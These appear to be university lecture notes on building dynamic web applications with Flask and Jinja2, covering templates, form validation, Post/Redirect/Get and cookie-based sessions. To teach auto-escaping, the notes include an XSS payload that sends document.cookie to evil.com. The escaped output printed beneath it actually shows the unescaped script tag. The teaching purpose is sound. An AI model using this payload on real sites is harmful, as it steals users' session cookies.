Dynamic Web Applications

EE 547 - Unit 8

Dr. Brandon Franzke

Fall 2025

Outline

Server-Generated Content

Dynamic Generation Problem

  • HTTP stateless: requests contain no user identity
  • Static files cannot query databases
  • Forms modify server state

Template Rendering

  • Combine data with HTML structure
  • Variables, loops, conditionals in markup
  • Auto-escaping prevents code injection

Form Processing

  • Server-side validation and business logic
  • Post/Redirect/Get prevents resubmission

State and Security

Session Management

  • Cookies provide request identity
  • Server-side storage or signed tokens

File Uploads

  • Multipart encoding transmits binary data
  • Validation, safe storage, and authorization

Security Vulnerabilities

  • XSS: User input executed as code
  • CSRF: Forged authenticated requests

Client-Side Requests

  • JavaScript fetch without page reload
  • JSON responses update page content

Static to Dynamic Web Applications

Static Files Map URLs to Disk Paths

Web server receives request:

GET /documentation.html HTTP/1.1
Host: example.com

Server extracts path /documentation.html and reads corresponding file from disk.

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 4821

<!DOCTYPE html>
<html>
<head>
  <title>API Documentation</title>
</head>
<body>
  <h1>API Documentation</h1>
  <p>Available endpoints:</p>
  ...
</body>
</html>

No computation between request and response.

Server reads bytes from disk, writes bytes to network socket.

Every request for /documentation.html returns identical content.

Works well for documentation, marketing pages, company information.

User-Specific Content Cannot Use Static Files

Alice requests her profile:

GET /profile HTTP/1.1

Required response for Alice:

<h1>Alice Chen</h1>
<p>Email: alice@example.com</p>
<p>Documents: 12</p>

Bob requests his profile:

GET /profile HTTP/1.1

Required response for Bob:

<h1>Bob Smith</h1>
<p>Email: bob@example.com</p>
<p>Documents: 5</p>

Same URL, different content based on who requests it.

Reading profile.html from disk returns identical bytes regardless of requester.

Problem: Identifying the Requester

HTTP request contains path, not identity:

GET /profile HTTP/1.1
Host: app.example.com
Accept: text/html

Request specifies:

  • Path: /profile
  • Host: app.example.com
  • Expected format: HTML

Missing:

  • Who is requesting?
  • Authentication status?
  • User’s database ID?

Server cannot determine whose profile to display.

All requests for /profile appear identical.

Problem: Querying User-Specific Data

To display Alice’s profile, must query database:

SELECT name, email, document_count
FROM users
WHERE user_id = 42;

To display Bob’s profile, must query database:

SELECT name, email, document_count
FROM users
WHERE user_id = 17;

Static file server:

  • Has no database connection
  • Cannot execute SQL queries
  • Cannot determine which user_id to query

Requires application code to:

  1. Identify user making request
  2. Query database with user’s ID
  3. Generate HTML containing query results

Documents List Varies by User and Time

User requests document list:

GET /documents HTTP/1.1

Must query database for user’s documents:

SELECT title, upload_date, size
FROM documents
WHERE user_id = 42
ORDER BY upload_date DESC;

Results vary by user:

  • Alice: 12 documents
  • Bob: 5 documents
  • Charlie: 0 documents

Results vary over time:

  • Before upload: 12 documents
  • After upload: 13 documents

Static HTML file contains fixed content. Cannot adapt to:

  • Different users
  • Changing database state
  • Variable result counts

Search Query Determines Response Content

User searches for “neural networks”:

GET /search?q=neural+networks HTTP/1.1

Must query database with search term:

SELECT title, author, date
FROM documents
WHERE title LIKE '%neural networks%'
   OR content LIKE '%neural networks%'
ORDER BY date DESC;

Different search produces different query:

GET /search?q=database+optimization HTTP/1.1
SELECT title, author, date
FROM documents
WHERE title LIKE '%database optimization%'
   OR content LIKE '%database optimization%'
ORDER BY date DESC;

Search terms form infinite set. Cannot pre-generate HTML for every possible query.

Filters Create Parameter Combinations

User applies filters:

GET /documents?category=reports&date=2024-10 HTTP/1.1

Query adapts to parameters:

SELECT title, upload_date, size
FROM documents
WHERE user_id = 42
  AND category = 'reports'
  AND upload_date >= '2024-10-01'
  AND upload_date < '2024-11-01'
ORDER BY upload_date DESC;

Adding sort parameter:

GET /documents?category=reports&date=2024-10&sort=title HTTP/1.1

Changes ORDER BY clause:

... ORDER BY title ASC;

Cannot pre-generate files for parameter combinations.

Forms Submit Data That Modifies Server State

User fills upload form:

<form action="/upload" method="POST">
  <input name="title" value="Quarterly Report">
  <input name="file" type="file">
  <button>Upload</button>
</form>

Browser sends POST request with file:

POST /upload HTTP/1.1
Content-Type: multipart/form-data
Content-Length: 2457821

[title: "Quarterly Report"]
[file: 2.3 MB PDF data]

Server must process submission.

Form Processing Requires Multiple Operations

Required operations:

  1. Parse request body Extract title string and file bytes from multipart data

  2. Validate inputs Title provided? File size under limit? Type allowed?

  3. Store file Write 2.3 MB to /storage/documents/

  4. Save metadata

    INSERT INTO documents
      (user_id, title, filename, size)
    VALUES
      (42, 'Quarterly Report', 'report.pdf', 2457821);
  5. Generate response Success confirmation or error message

Static file server performs none of these operations.

Authentication State Does Not Persist Across Requests

User logs in:

POST /login HTTP/1.1

username=alice&password=...

Server verifies credentials against database:

SELECT id, password_hash
FROM users
WHERE username = 'alice';

Credentials match. Server responds:

HTTP/1.1 200 OK

Login successful

TCP connection closes.

User requests profile:

GET /profile HTTP/1.1

Request contains no authentication information.

Server cannot determine if this user authenticated or which user this is.

Dynamic Generation Requires Computation at Request Time

Template Pattern Combines Fixed Structure with Variable Data

Template contains HTML structure with placeholders:

<h1>{{user.name}}</h1>
<p>Email: {{user.email}}</p>
<p>Documents: {{user.document_count}}</p>

Application queries database for user data:

SELECT name, email, document_count
FROM users
WHERE user_id = 42;

Template engine combines template with data:

Template + Data → HTML

Result for user_id 42:

<h1>Alice Chen</h1>
<p>Email: alice@example.com</p>
<p>Documents: 12</p>

Result for user_id 17:

<h1>Bob Smith</h1>
<p>Email: bob@example.com</p>
<p>Documents: 5</p>

Single template generates personalized HTML for every user.

Session Mechanism Associates Requests with Users

Login creates session:

User authenticates → Server generates session ID → Stores user_id=42 with session ID.

Server sends session ID to browser:

HTTP/1.1 200 OK
Set-Cookie: session_id=xyz789

Browser stores session ID.

Subsequent requests include session ID:

GET /profile HTTP/1.1
Cookie: session_id=xyz789

Server reads session ID from cookie, looks up user_id=42.

Now knows which user is requesting.

Browser automatically includes cookie with every request. Server retrieves user context from session.

Template Engines

Generating HTML from Data

Server needs to combine user-specific data with HTML structure. Consider displaying Alice’s document list:

Data from database:

user = "Alice"
documents = [
    {"title": "Q4_Report.pdf",
     "size": 2048576,
     "date": "2024-10-15"},
    {"title": "Budget.xlsx",
     "size": 1024000,
     "date": "2024-10-12"},
    {"title": "Notes.txt",
     "size": 4096,
     "date": "2024-10-10"}
]

Required HTML output:

<h1>Alice's Documents</h1>
<ul>
  <li>Q4_Report.pdf - 2.0 MB</li>
  <li>Budget.xlsx - 1.0 MB</li>
  <li>Notes.txt - 0.0 MB</li>
</ul>

Different user → different data → different HTML.

Server must generate this HTML for every request.

String Concatenation Approach

Build HTML by concatenating strings:

user = "Alice"
documents = [
    {"title": "Q4_Report.pdf", "size": 2048576},
    {"title": "Budget.xlsx", "size": 1024000},
    {"title": "Notes.txt", "size": 4096}
]

html = "<h1>" + user + "'s Documents</h1>\n"
html += "<ul>\n"
for doc in documents:
    size_mb = doc["size"] / 1048576
    html += "  <li>" + doc["title"] + " - " + f"{size_mb:.1f}" + " MB</li>\n"
html += "</ul>"

print(html)
<h1>Alice's Documents</h1>
<ul>
  <li>Q4_Report.pdf - 2.0 MB</li>
  <li>Budget.xlsx - 1.0 MB</li>
  <li>Notes.txt - 0.0 MB</li>
</ul>

String concatenation has fundamental problems.

String Concatenation Problems

1. HTML structure obscured:

Code mixes HTML tags with Python logic. Page structure obscured by concatenation operations. Designers cannot edit without Python knowledge.

2. Quote escaping fragile:

html = "<a href=\"" + url + "\" class=\"link\">"

Syntax errors occur frequently. Nested quotes require manual escaping.

3. No automatic safety:

User submits title: <script>alert('XSS')</script>

html = "<li>" + doc["title"] + "</li>"
# Output: <li><script>alert('XSS')</script></li>

Browser executes malicious JavaScript. Must manually escape every value.

4. Repetitive and error-prone:

Same HTML patterns repeated across many routes. Code duplication. Changes require editing multiple locations.

Separation of HTML structure from data insertion required.

Template Concept

Template: HTML file with placeholders for data.

Template Engine: Reads template, substitutes data values, outputs HTML.

from jinja2 import Template

template_text = """
<h1>{{ username }}'s Documents</h1>
<ul>
{% for doc in documents %}
  <li>{{ doc.title }} - {{ (doc.size / 1048576) | round(1) }} MB</li>
{% endfor %}
</ul>
"""

template = Template(template_text)

data = {
    "username": "Alice",
    "documents": [
        {"title": "Q4_Report.pdf", "size": 2048576},
        {"title": "Budget.xlsx", "size": 1024000},
        {"title": "Notes.txt", "size": 4096}
    ]
}

html = template.render(data)
print(html)

<h1>Alice's Documents</h1>
<ul>

  <li>Q4_Report.pdf - 2.0 MB</li>

  <li>Budget.xlsx - 1.0 MB</li>

  <li>Notes.txt - 0.0 MB</li>

</ul>

Same template with different data generates different HTML.

Template Engines Process Templates

Template engine: Software that reads template files, substitutes data, outputs final HTML.

Multiple template engines exist with different syntax and features:

Server-side engines:

  • Jinja2 (Python - Flask, Django)
  • ERB (Ruby on Rails)
  • Blade (PHP Laravel)
  • Thymeleaf (Java Spring)

Generate HTML on server before sending to browser.

Client-side engines:

  • Handlebars (JavaScript)
  • Mustache (multiple languages)
  • EJS (JavaScript Node.js)

Generate HTML in browser after receiving data.

Jinja2 is Flask’s default template engine. Mature implementation with extensive documentation and widespread adoption in Python web frameworks.

Jinja2 Syntax Elements

Jinja2 uses three syntax constructs to control template behavior:

Variable substitution:

{{ variable_name }}

Outputs value at this position. HTML characters automatically escaped.

Statements:

{% statement %}

Control flow: loops, conditionals, assignments.

Comments:

{# comment text #}

Not included in output. Documents template logic.

Filters:

{{ value | filter }}

Transforms value before output.

These three elements handle all template operations.

Variable Substitution Details

Template receives data dictionary. Variables reference dictionary keys:

template = Template("<h1>{{ page_title }}</h1><p>{{ description }}</p>")

html = template.render({
    "page_title": "Financial Analysis",
    "description": "Q4 revenue and expenses"
})

print(html)
<h1>Financial Analysis</h1><p>Q4 revenue and expenses</p>

Access nested data with dot notation:

template = Template("<p>{{ user.name }} - {{ user.email }}</p>")

html = template.render({
    "user": {
        "name": "Alice Johnson",
        "email": "alice@example.com"
    }
})

print(html)
<p>Alice Johnson - alice@example.com</p>

Automatic HTML Escaping

Templates automatically escape HTML special characters to prevent code injection:

template = Template("<div>{{ content }}</div>")

# User submits malicious input
malicious_input = "<script>fetch('https://evil.com?cookie='+document.cookie)</script>"

html = template.render({"content": malicious_input})
print(html)
<div><script>fetch('https://evil.com?cookie='+document.cookie)</script></div>

Characters converted: <&lt;, >&gt;, &&amp;, "&quot;

Browser displays text literally instead of executing JavaScript.

Loop Syntax

Generate repeated HTML elements from lists:

template_text = """
<table>
  <tr><th>Title</th><th>Size</th></tr>
{% for doc in documents %}
  <tr>
    <td>{{ doc.title }}</td>
    <td>{{ doc.size }} bytes</td>
  </tr>
{% endfor %}
</table>
"""

template = Template(template_text)

html = template.render({
    "documents": [
        {"title": "Report.pdf", "size": 2048},
        {"title": "Data.csv", "size": 4096},
        {"title": "Notes.txt", "size": 512}
    ]
})

print(html)

<table>
  <tr><th>Title</th><th>Size</th></tr>

  <tr>
    <td>Report.pdf</td>
    <td>2048 bytes</td>
  </tr>

  <tr>
    <td>Data.csv</td>
    <td>4096 bytes</td>
  </tr>

  <tr>
    <td>Notes.txt</td>
    <td>512 bytes</td>
  </tr>

</table>

Loop body repeated once per list item. Template generates correct number of rows regardless of list length.

Conditional Display

Show or hide content based on data values:

template_text = """
<div>
  <h2>{{ document.title }}</h2>
  <p>{{ document.size }} bytes</p>
  {% if user_id == document.owner_id %}
  <button>Edit</button>
  <button>Delete</button>
  {% endif %}
</div>
"""

template = Template(template_text)

# Owner viewing document
html = template.render({
    "document": {"title": "Report.pdf", "size": 2048, "owner_id": 42},
    "user_id": 42
})
print("Owner view:")
print(html)

# Different user viewing document
html = template.render({
    "document": {"title": "Report.pdf", "size": 2048, "owner_id": 42},
    "user_id": 99
})
print("\nOther user view:")
print(html)
Owner view:

<div>
  <h2>Report.pdf</h2>
  <p>2048 bytes</p>
  
  <button>Edit</button>
  <button>Delete</button>
  
</div>

Other user view:

<div>
  <h2>Report.pdf</h2>
  <p>2048 bytes</p>
  
</div>

Empty State Handling

Handle empty lists with conditional:

template_text = """
{% if documents %}
<ul>
{% for doc in documents %}
  <li>{{ doc.title }}</li>
{% endfor %}
</ul>
{% else %}
<p>No documents uploaded yet.</p>
{% endif %}
"""

template = Template(template_text)

# With documents
html = template.render({"documents": [{"title": "Report.pdf"}, {"title": "Data.csv"}]})
print("With documents:")
print(html)

# Empty list
html = template.render({"documents": []})
print("\nEmpty list:")
print(html)
With documents:


<ul>

  <li>Report.pdf</li>

  <li>Data.csv</li>

</ul>


Empty list:


<p>No documents uploaded yet.</p>

Improves user experience by explaining empty state instead of showing blank page.

Filters Transform Values

Apply transformations during output:

template_text = """
<p>Price: ${{ amount | round(2) }}</p>
<p>Name: {{ title | upper }}</p>
<p>Created: {{ timestamp | default("Unknown") }}</p>
<p>Count: {{ items | length }} items</p>
"""

template = Template(template_text)

html = template.render({
    "amount": 19.9876543,
    "title": "quarterly report",
    "timestamp": None,
    "items": ["a", "b", "c"]
})

print(html)

<p>Price: $19.99</p>
<p>Name: QUARTERLY REPORT</p>
<p>Created: None</p>
<p>Count: 3 items</p>

Filters simplify common formatting without custom Python functions.

Building Complex Templates

Real document listing page with multiple features:

template_text = """
<div class="document-list">
  <h1>{{ username | upper }}'s Documents</h1>
  <p>Total: {{ documents | length }} documents, {{ total_size }} MB used</p>

  {% if documents %}
  <table>
    <tr>
      <th>Title</th>
      <th>Size</th>
      <th>Date</th>
      <th>Actions</th>
    </tr>
    {% for doc in documents %}
    <tr>
      <td>{{ doc.title }}</td>
      <td>{{ (doc.size / 1048576) | round(2) }} MB</td>
      <td>{{ doc.date }}</td>
      <td>
        <a href="/view/{{ doc.id }}">View</a>
        {% if doc.owner == user_id %}
        | <a href="/delete/{{ doc.id }}">Delete</a>
        {% endif %}
      </td>
    </tr>
    {% endfor %}
  </table>
  {% else %}
  <p>No documents yet. <a href="/upload">Upload your first document</a></p>
  {% endif %}
</div>
"""

template = Template(template_text)

Rendering Complex Template

data = {
    "username": "alice",
    "user_id": 42,
    "total_size": 15.3,
    "documents": [
        {"id": 1, "title": "Q4_Report.pdf", "size": 10485760,
         "date": "2024-10-15", "owner": 42},
        {"id": 2, "title": "Budget_2024.xlsx", "size": 5242880,
         "date": "2024-10-12", "owner": 42},
        {"id": 3, "title": "Meeting_Notes.txt", "size": 4096,
         "date": "2024-10-10", "owner": 99}
    ]
}

html = template.render(data)
print(html)

<div class="document-list">
  <h1>ALICE's Documents</h1>
  <p>Total: 3 documents, 15.3 MB used</p>

  
  <table>
    <tr>
      <th>Title</th>
      <th>Size</th>
      <th>Date</th>
      <th>Actions</th>
    </tr>
    
    <tr>
      <td>Q4_Report.pdf</td>
      <td>10.0 MB</td>
      <td>2024-10-15</td>
      <td>
        <a href="/view/1">View</a>
        
        | <a href="/delete/1">Delete</a>
        
      </td>
    </tr>
    
    <tr>
      <td>Budget_2024.xlsx</td>
      <td>5.0 MB</td>
      <td>2024-10-12</td>
      <td>
        <a href="/view/2">View</a>
        
        | <a href="/delete/2">Delete</a>
        
      </td>
    </tr>
    
    <tr>
      <td>Meeting_Notes.txt</td>
      <td>0.0 MB</td>
      <td>2024-10-10</td>
      <td>
        <a href="/view/3">View</a>
        
      </td>
    </tr>
    
  </table>
  
</div>

One template combines: loops, conditionals, filters, nested data access, authorization logic.

Flask Integration with render_template()

Flask provides render_template() function that reads template files from templates/ directory:

File: app.py

from flask import Flask, render_template, session

app = Flask(__name__)

@app.route('/documents')
def view_documents():
    user_id = session.get('user_id')

    # Query user's documents from database
    documents = db.execute(
        "SELECT id, title, size, upload_date, owner_id "
        "FROM documents WHERE owner_id = ?",
        user_id
    ).fetchall()

    total_size = sum(doc['size'] for doc in documents) / 1048576

    return render_template('documents.html',
                          username=session.get('username'),
                          documents=documents,
                          total_size=total_size,
                          user_id=user_id)

Template File Organization

File: templates/documents.html

<!DOCTYPE html>
<html>
<head>
    <title>{{ username }}'s Documents</title>
    <link rel="stylesheet" href="/static/styles.css">
</head>
<body>
    <div class="container">
        <h1>{{ username | upper }}'s Documents</h1>
        <p>Total: {{ documents | length }} documents,
           {{ total_size | round(1) }} MB used</p>

        {% if documents %}
        <table>
            {% for doc in documents %}
            <tr>
                <td>{{ doc.title }}</td>
                <td>{{ (doc.size / 1048576) | round(2) }} MB</td>
                <td>{{ doc.upload_date }}</td>
                <td>
                    <a href="/view/{{ doc.id }}">View</a>
                    {% if doc.owner_id == user_id %}
                    | <a href="/delete/{{ doc.id }}">Delete</a>
                    {% endif %}
                </td>
            </tr>
            {% endfor %}
        </table>
        {% else %}
        <p>No documents. <a href="/upload">Upload first document</a></p>
        {% endif %}
    </div>
</body>
</html>

Request Processing Flow

Database query dominates processing time. Template rendering adds 30ms overhead for HTML generation.

Template Performance Considerations

Template rendering cost depends on complexity:

Fast operations:

  • Variable substitution: { value }
  • Simple loops: 100 items ~ 10ms
  • Conditionals: {% if %} ~ negligible
  • Built-in filters: round, upper ~ negligible

Slower operations:

  • Large loops: 10,000 items ~ 500ms
  • Nested loops: O(n²) complexity
  • Complex computations in template
  • Custom filters with heavy processing

Optimization strategies:

  1. Compute in Python, not template:

    # Good: compute before render
    total = sum(x.size for x in docs)
    render_template('page.html', total=total)
    
    # Bad: compute in template
    # {% set total = 0 %}
    # {% for doc in docs %}...{% endset %}
  2. Limit loop iterations: Paginate large lists. Show 50 items per page, not 10,000.

  3. Cache rendered templates: For pages with same data shown to many users (product catalog).

Different Data, Same Template

Single template generates different output for each user:

# Reuse same template for different users
template_text = """
<h1>{{ username }}'s Dashboard</h1>
<p>{{ doc_count }} documents, {{ storage_mb }} MB used</p>
"""

template = Template(template_text)

# Alice's data
alice_html = template.render({
    "username": "Alice",
    "doc_count": 15,
    "storage_mb": 23.4
})
print("Alice:")
print(alice_html)

# Bob's data
bob_html = template.render({
    "username": "Bob",
    "doc_count": 3,
    "storage_mb": 1.2
})
print("\nBob:")
print(bob_html)
Alice:

<h1>Alice's Dashboard</h1>
<p>15 documents, 23.4 MB used</p>

Bob:

<h1>Bob's Dashboard</h1>
<p>3 documents, 1.2 MB used</p>

One template file serves all users. Database query provides user-specific data. Template generates appropriate HTML.

Templates Solve Generation Problem

Static HTML files cannot represent every user and every possible page state.

Template solution:

  • One template file instead of thousands of static HTML files
  • Database query provides current user-specific data
  • Template engine combines structure with data at request time
  • Output is personalized HTML for each request

Document list example:

  • Static approach: Create alice_documents.html, bob_documents.html, … for every user (unmanageable)
  • Template approach: One documents.html template, query database for current user’s documents
  • Same template generates different output based on query results

Templates enable dynamic content generation from persistent data storage.

Template Organization Problem

Every page shares common HTML structure: navigation, header, footer, CSS links. Duplicating this across all templates creates maintenance burden.

Each template repeats boilerplate:

<!DOCTYPE html>
<html>
<head>
    <title>Documents</title>
    <link rel="stylesheet" href="/static/styles.css">
</head>
<body>
    <nav><!-- navigation links --></nav>

    <!-- Page-specific content here -->

    <footer><!-- footer content --></footer>
</body>
</html>

Changing navigation requires editing every template file.

Template inheritance eliminates duplication:

Base template defines structure once:

<!-- base.html -->
<html>
<nav>...</nav>
{% block content %}{% endblock %}
<footer>...</footer>
</html>

Child templates fill in content blocks:

{% extends "base.html" %}
{% block content %}
    <!-- Page-specific content -->
{% endblock %}

Template Inheritance in Practice

from jinja2 import Environment, DictLoader

# Base template defines structure with blocks
templates = {
    'base.html': '''
<!DOCTYPE html>
<html>
<head><title>{% block title %}Document Manager{% endblock %}</title></head>
<body>
    <nav><a href="/">Home</a> | <a href="/docs">Documents</a></nav>
    <div class="content">
    {% block content %}{% endblock %}
    </div>
    <footer>© 2024 Document Manager</footer>
</body>
</html>
''',
    'documents.html': '''
{% extends "base.html" %}
{% block title %}Your Documents{% endblock %}
{% block content %}
    <h1>{{ username }}'s Documents</h1>
    {% for doc in documents %}
        <p>{{ doc.title }} - {{ doc.size }} bytes</p>
    {% endfor %}
{% endblock %}
'''
}

env = Environment(loader=DictLoader(templates))
template = env.get_template('documents.html')

html = template.render(username="Alice", documents=[
    {"title": "Report.pdf", "size": 2048},
    {"title": "Data.csv", "size": 4096}
])
print(html)


<!DOCTYPE html>
<html>
<head><title>Your Documents</title></head>
<body>
    <nav><a href="/">Home</a> | <a href="/docs">Documents</a></nav>
    <div class="content">
    
    <h1>Alice's Documents</h1>
    
        <p>Report.pdf - 2048 bytes</p>
    
        <p>Data.csv - 4096 bytes</p>
    

    </div>
    <footer>© 2024 Document Manager</footer>
</body>
</html>

Template Includes for Reusable Components

HTML components repeat across different pages: document cards, alert messages, form fields. Include mechanism extracts these into reusable partials.

templates = {
    '_document_card.html': '''
<div class="card">
    <h3>{{ doc.title }}</h3>
    <p>{{ (doc.size / 1024) | round(1) }} KB</p>
    <a href="/view/{{ doc.id }}">View</a>
</div>
''',
    'list.html': '''
<h1>Document List</h1>
{% for doc in documents %}
    {% include "_document_card.html" %}
{% endfor %}
'''
}

env = Environment(loader=DictLoader(templates))
template = env.get_template('list.html')

html = template.render(documents=[
    {"id": 1, "title": "Report.pdf", "size": 2048},
    {"id": 2, "title": "Data.csv", "size": 4096},
    {"id": 3, "title": "Notes.txt", "size": 512}
])
print(html)

<h1>Document List</h1>

    
<div class="card">
    <h3>Report.pdf</h3>
    <p>2.0 KB</p>
    <a href="/view/1">View</a>
</div>

    
<div class="card">
    <h3>Data.csv</h3>
    <p>4.0 KB</p>
    <a href="/view/2">View</a>
</div>

    
<div class="card">
    <h3>Notes.txt</h3>
    <p>0.5 KB</p>
    <a href="/view/3">View</a>
</div>

Partial _document_card.html reused for each document. Document display logic centralized.

Combined: Inheritance and Includes

Real applications combine both patterns:

templates/
    base.html              # Page structure (nav, footer)
    _document_card.html    # Reusable component
    documents.html         # Extends base, includes card
    search.html            # Extends base, includes card
    upload.html            # Extends base

documents.html:

{% extends "base.html" %}

{% block content %}
    <h1>Documents</h1>
    {% for doc in documents %}
        {% include "_document_card.html" %}
    {% endfor %}
{% endblock %}

search.html:

{% extends "base.html" %}

{% block content %}
    <h1>Search Results</h1>
    {% for doc in results %}
        {% include "_document_card.html" %}
    {% endfor %}
{% endblock %}

Both pages share base layout and document display component.

Templates Render User-Specific Content

Routes use session to identify current user, retrieve their data, pass to template.

@app.route('/documents')
def view_documents():
    user_id = session.get('user_id')
    if not user_id:
        return redirect('/login')

    # Query documents for this user
    docs = db.execute(
        "SELECT * FROM documents WHERE owner_id = ?", user_id
    ).fetchall()

    return render_template('documents.html',
                          documents=docs,
                          username=session.get('username'))

Template receives user-specific data:

<h1>{{ username }}'s Documents</h1>
{% for doc in documents %}
    <div>{{ doc.title }}</div>
{% endfor %}

Same template generates different HTML for each user. Route reads session to determine current user, fetches their data, template renders personalized page.

Form Processing

Server Receives Form Submissions

Browser sends form data in HTTP request. Server must extract, validate, and process this data.

HTML form:

<form action="/create" method="POST">
    <label>Title:</label>
    <input type="text"
           name="title"
           placeholder="Document title">

    <label>Description:</label>
    <textarea name="description"></textarea>

    <button type="submit">Create</button>
</form>

Rendered form:

User fills form and clicks submit. Browser constructs HTTP request:

POST /create HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded

title=Q4+Report&description=Financial+analysis

Form field name attributes become data keys. Values URL-encoded in request body.

Form Attributes and Field Types

Form element attributes:

<form action="/create" method="POST">
  • action: URL where form data is sent
  • method: HTTP method (GET or POST)
  • enctype: Data encoding (default: application/x-www-form-urlencoded)

Common input types:

Urgent Draft
High Low

Form data encoding:

When submitted, browser sends:

title=Report
&description=Analysis
&tags=urgent
&tags=draft
&priority=high
&category=report

Field encoding rules:

  • Text/Textarea: Single name=value pair
  • Checkbox (multiple): Multiple name=value pairs with same name
  • Checkbox (unchecked): Not included in submission
  • Radio: Single name=value for selected option
  • Select: Single name=value for selected option
  • Spaces: Encoded as + or %20
  • Special chars: URL-encoded (&%26)

Field name attribute becomes key. Field value attribute (or user input) becomes value.

Accessing Form Data in Flask

from flask import Flask, request

app = Flask(__name__)

@app.route('/create', methods=['POST'])
def create_document():
    # Single-value fields
    title = request.form.get('title', 'Untitled')
    priority = request.form.get('priority', 'low')

    # Multiple-value fields (checkboxes)
    tags = request.form.getlist('tags')

    result = f"Received:\n  Title: {title}\n  Priority: {priority}\n  Tags: {tags}"
    return result

# Simulate form submission
with app.test_client() as client:
    response = client.post('/create', data={
        'title': 'Q4 Report',
        'priority': 'high',
        'tags': ['urgent', 'draft']
    })
    print(response.data.decode('utf-8'))
Received:
  Title: Q4 Report
  Priority: high
  Tags: ['urgent', 'draft']

request.form.get('field') returns single value. request.form.getlist('field') returns list of all values for fields with duplicate names (checkboxes).

GET vs POST for Forms

HTTP provides two methods for form submission with different characteristics:

GET method:

<form action="/search" method="GET">
    <input name="q" value="python">
    <button>Search</button>
</form>

Request sends data in URL:

GET /search?q=python HTTP/1.1
  • Data visible in URL and browser history
  • Can bookmark search results
  • Size limited (~2KB)
  • Safe for idempotent operations

POST method:

<form action="/upload" method="POST">
    <input name="title" value="Report">
    <button>Upload</button>
</form>

Request sends data in body:

POST /upload HTTP/1.1
Content-Type: application/x-www-form-urlencoded

title=Report
  • Data not visible in URL
  • Cannot bookmark
  • No size limit
  • Required for state-changing operations

GET for Queries, POST for Modifications

Use GET when:

  • Searching or filtering data
  • Sharing or bookmarking results
  • Operation reads but doesn’t modify
  • Repeated requests have same effect

Examples:

@app.route('/search')
def search():
    query = request.args.get('q')
    results = search_documents(query)
    return render_template('results.html',
                          results=results)

request.args accesses URL query parameters.

Use POST when:

  • Creating, updating, or deleting data
  • Uploading files
  • Processing sensitive data
  • Operation has side effects

Examples:

@app.route('/create', methods=['POST'])
def create():
    title = request.form['title']
    save_document(title)
    return redirect('/documents')

request.form accesses POST body data.

GET operations safe to retry. POST operations change server state.

Server Validation Security Requirement

Client validation bypassed:

HTML form with validation:

<form action="/create" method="POST">
    <input name="title"
           required
           maxlength="100">
    <button>Submit</button>
</form>

Browser enforces constraints.

Attacker sends direct HTTP request:

curl -X POST http://app.com/create \
  -d "title=$(python -c 'print("A"*10000)')"

Server receives 10,000 character title. HTML validation bypassed.

Server validation enforces security:

@app.route('/create', methods=['POST'])
def create():
    title = request.form.get('title', '').strip()

    if not title:
        return "Title required", 400

    if len(title) > 100:
        return "Title too long", 400

    if not title.replace(' ', '').isalnum():
        return "Invalid characters", 400

    save_document(title)
    return redirect('/documents')

Every input validated. Malicious data rejected with 400 status.

Always validate every input on server. Client validation improves user experience. Server validation provides security.

Business Logic Validation

Validation beyond format checks:

Each check queries database or checks application state. Returns specific error with appropriate HTTP status (400 for validation, 403 for authorization).

@app.route('/create', methods=['POST'])
def create():
    title = request.form.get('title', '').strip()
    user_id = session.get('user_id')

    # Format validation
    if not title or len(title) > 100:
        return "Invalid title", 400

    # Check permissions
    if not user_can_create(user_id):
        return "Quota exceeded", 403

    # Check uniqueness
    if document_exists(user_id, title):
        return "Title already exists", 400

    # Check state/constraints
    if user_document_count(user_id) >= 100:
        return "Maximum documents reached", 400

    save_document(user_id, title)
    return redirect('/documents')

Validation categories:

1. Authorization checks:

  • Does user have permission?
  • Is quota exceeded?
  • Is feature enabled for this user?

2. Uniqueness constraints:

  • Title already used?
  • Email already registered?
  • Username taken?

3. State validation:

  • Document limit reached?
  • Subscription active?
  • Prerequisites met?

4. Referential integrity:

  • Does referenced document exist?
  • Does category ID exist?
  • Valid foreign key?

Response Pattern: Direct vs Redirect

Direct response (problematic):

@app.route('/create', methods=['POST'])
def create():
    title = request.form['title']

    if not title:
        return render_template('form.html',
                              error="Title required")

    doc_id = save_document(title)

    return render_template('success.html',
                          doc_id=doc_id)

Problem: Browser refresh resubmits form. User sees “Confirm Form Resubmission” dialog. Creates duplicate documents.

Post/Redirect/Get (best practice):

@app.route('/create', methods=['POST'])
def create():
    title = request.form['title']

    if not title:
        return render_template('form.html',
                              error="Title required")

    doc_id = save_document(title)

    return redirect(url_for('view', id=doc_id))

@app.route('/document/<int:id>')
def view(id):
    doc = get_document(id)
    return render_template('view.html', doc=doc)

POST saves data, redirects to GET. Browser refresh only repeats GET request, not POST. No duplicate submissions.

Validation Errors: Re-render Form

Route handles GET and POST:

@app.route('/create', methods=['GET', 'POST'])
def create():
    if request.method == 'POST':
        title = request.form.get('title', '')

        errors = []
        if not title:
            errors.append("Title required")
        if len(title) > 100:
            errors.append("Title too long")

        if not errors:
            save_document(title)
            return redirect(url_for('documents'))

        # Validation failed - re-render
        return render_template('form.html',
                              errors=errors,
                              title=title)

    # GET request - empty form
    return render_template('form.html')

Template displays errors and preserves input:

{% if errors %}
<div class="errors">
    {% for error in errors %}
        <p>{{ error }}</p>
    {% endfor %}
</div>
{% endif %}

<form method="POST">
    <input type="text"
           name="title"
           value="{{ title | default('') }}">
    <button>Submit</button>
</form>

Rendered output with validation errors:

Title required

Description too long

Form preserves user input. User corrects errors without re-typing valid fields.

Sessions and Cookies

HTTP Cannot Identify Users Across Requests

Server processes form submission successfully. User navigates to documents page. Server cannot determine which user made request.

Login succeeds:

POST /login HTTP/1.1
Host: app.example.com

username=alice&password=...
HTTP/1.1 302 Found
Location: /documents

Server validates credentials, redirects to documents.

Immediately after, request documents:

GET /documents HTTP/1.1
Host: app.example.com

Server receives request. No indication which user. No connection to previous login request.

@app.route('/documents')
def documents():
    # Which user is this?
    user_id = ???

Server must retrieve user-specific documents but cannot identify requester.

Every HTTP request independent. Previous authentication irrelevant.

Cookies Provide Request Identity

Server includes Set-Cookie header in HTTP response. Browser stores value. Browser automatically includes Cookie header in subsequent requests to same domain.

Server sets cookie in response:

HTTP/1.1 200 OK
Set-Cookie: user_id=42
Content-Type: text/html

<html>Login successful</html>

Browser extracts Set-Cookie: user_id=42 from response headers. Stores user_id=42 in cookie storage associated with app.example.com domain.

Browser includes cookie in requests:

GET /documents HTTP/1.1
Host: app.example.com
Cookie: user_id=42

Browser automatically adds Cookie header with stored value. Server extracts Cookie: user_id=42, identifies user.

